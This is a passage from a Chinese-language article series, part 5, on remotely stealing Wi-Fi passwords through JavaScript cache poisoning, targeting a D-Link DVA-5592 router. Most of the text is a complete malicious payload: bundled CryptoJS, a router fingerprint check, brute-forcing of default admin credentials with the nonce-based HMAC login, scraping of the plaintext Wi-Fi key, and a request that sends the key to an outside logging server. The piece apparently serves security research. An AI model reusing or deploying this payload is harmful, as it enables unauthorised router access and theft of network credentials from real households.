利用JavaScript缓存远程窃取Wi-Fi密码的思路详解(5)
这里的重要参数是:
1.userName这是admin(令人震惊);
2.userPwd 看起来是加密的;
3.nonce 这肯定与加密密码有关。
查看登录页面的源代码,我立即注意到了这一点:
document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value, document.form.nonce.value);
这意味着登录需要CryptoJS库并从document.form.nonce.value中获取nonce 。有了这些信息,我可以轻松地创建一段小的JavaScript代码,这段代码会用一批用户名和密码尝试爆破用户名和密码然后登录后台。
进入路由器后,我需要寻找包含Wi-Fi密码的页面。D-Link DVA-5592中的当前固件会在用户登录到仪表板页面后立即以明文显示Wi-Fi密码(哦,我的天呐)。
此时我需要做的就是访问页面的HTML源码,获取Wi-Fi密码并将其发送到某个地方进行保存。现在让我们深入研究为D-Link量身定制的JavaScript恶意代码。
// this is CryptoJS, a bit annoying to have it here var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a= this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>>2]|=(d[b>>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>>2]=d[b>>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a= l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}}),o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b= a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create(); this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()}, reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a},blockSize:16,_createHelper:function(a){return function(b,d){return a.create(d).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return g.HMAC.create(a,d).finalize(b)}}});var g=e.algo={};return e}(Math); (function(h){var i=CryptoJS,e=i.lib,f=e.WordArray,e=e.Hasher,l=i.algo,k=[],o=[];(function(){function e(a){for(var b=h.sqrt(a),d=2;d<=b;d++)if(!(a%d))return!1;return!0}function f(a){return 4294967296*(a-(a|0))|0}for(var b=2,g=0;64>g;)e(b)&&(8>g&&(k[g]=f(h.pow(b,0.5))),o[g]=f(h.pow(b,1/3)),g++),b++})();var m=[],l=l.SHA256=e.extend({_doReset:function(){this._hash=f.create(k.slice(0))},_doProcessBlock:function(e,f){for(var b=this._hash.words,g=b[0],a=b[1],j=b[2],d=b[3],c=b[4],h=b[5],l=b[6],k=b[7],n=0;64> n;n++){if(16>n)m[n]=e[f+n]|0;else{var i=m[n-15],p=m[n-2];m[n]=((i<<25|i>>>7)^(i<<14|i>>>18)^i>>>3)+m[n-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+m[n-16]}i=k+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&h^~c&l)+o[n]+m[n];p=((g<<30|g>>>2)^(g<<19|g>>>13)^(g<<10|g>>>22))+(g&a^g&j^a&j);k=l;l=h;h=c;c=d+i|0;d=j;j=a;a=g;g=i+p|0}b[0]=b[0]+g|0;b[1]=b[1]+a|0;b[2]=b[2]+j|0;b[3]=b[3]+d|0;b[4]=b[4]+c|0;b[5]=b[5]+h|0;b[6]=b[6]+l|0;b[7]=b[7]+k|0},_doFinalize:function(){var e=this._data,f=e.words,b=8*this._nDataBytes, g=8*e.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+64>>>9<<4)+15]=b;e.sigBytes=4*f.length;this._process()}});i.SHA256=e._createHelper(l);i.HmacSHA256=e._createHmacHelper(l)})(Math); (function(){var h=CryptoJS,i=h.enc.Utf8;h.algo.HMAC=h.lib.Base.extend({init:function(e,f){e=this._hasher=e.create();"string"==typeof f&&(f=i.parse(f));var h=e.blockSize,k=4*h;f.sigBytes>k&&(f=e.finalize(f));for(var o=this._oKey=f.clone(),m=this._iKey=f.clone(),q=o.words,r=m.words,b=0;b<h;b++)q[b]^=1549556828,r[b]^=909522486;o.sigBytes=m.sigBytes=k;this.reset()},reset:function(){var e=this._hasher;e.reset();e.update(this._iKey)},update:function(e){this._hasher.update(e);return this},finalize:function(e){var f= this._hasher,e=f.finalize(e);f.reset();return f.finalize(this._oKey.clone().concat(e))}})})(); // check if this is a D-Link // This is a safe check that I put so that the payload won't try to attack something // that is not a D-Link, the check could definetly be improbed but given that I // only have this D-Link we will have to make it due ... for now var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://192.168.1.1/ui/login', true); xhr.setRequestHeader("hydra","true"); xhr.onload = function () { if(this.response.includes("D-LINK")){ console.log("d-link"); dlinkStart(); } }; xhr.responseType = 'text' xhr.send(null); // The main function that starts the attack function dlinkStart(){ // List of possible usernames var usernames = ["administrator","Administrator","admin","Admin"]; // List of possible passwords var passwords = ["password","admin","1234","","pwd"]; // the array containing usernames and passwords comination var combos = []; var i = 0; // combines all possibile usernames and passwords and put it into combos for(var i = 0; i < usernames.length; i++) { for(var j = 0; j < passwords.length; j++) { combos.push({"user":usernames[i],"pwd":passwords[j]}) } } function dlinkAttacker(user, passwd) { // first request to get the nonce var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://192.168.1.1/ui/login', true); xhr.onload = function () { if (this.readyState == XMLHttpRequest.DONE && this.status == 200) { // the current username to test var username = user // the current password to test var pwd = passwd // the nonce extracted from the web page var nonce = xhr.response.form.nonce.value // the password encrypted with nonce var encPwd = CryptoJS.HmacSHA256(pwd, nonce) // let's try to log in var xhr2 = new XMLHttpRequest(); xhr2.open('POST', 'http://192.168.1.1/ui/login', true); //Send the proper header information along with the request xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr2.onload = function () { if (this.readyState == XMLHttpRequest.DONE && this.status == 200) { try { // the comination usernamepassword was corrent, let's get the Wi-Fi password var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML // WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :-) var xhr3 = new XMLHttpRequest(); xhr3.open('GET','https://rhaidiz.net/projects/dribble/dribble_logger.php?pwd'+wlanPsk); xhr3.send( null ); } catch (e) { // Wrong password, let's try a different combination i++ dlinkAttacker(combos[i].user, combos[i].pwd) } } } // the body of the login request var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' + encPwd + '&nonce=' + nonce xhr2.responseType = 'document' xhr2.send(params); } }; xhr.responseType = 'document' xhr.send(null); } // Start the attack from the first combination of usernamepassword dlinkAttacker(combos[i].user, combos[i].pwd) }
内容版权声明:除非注明,否则皆为本站原创文章。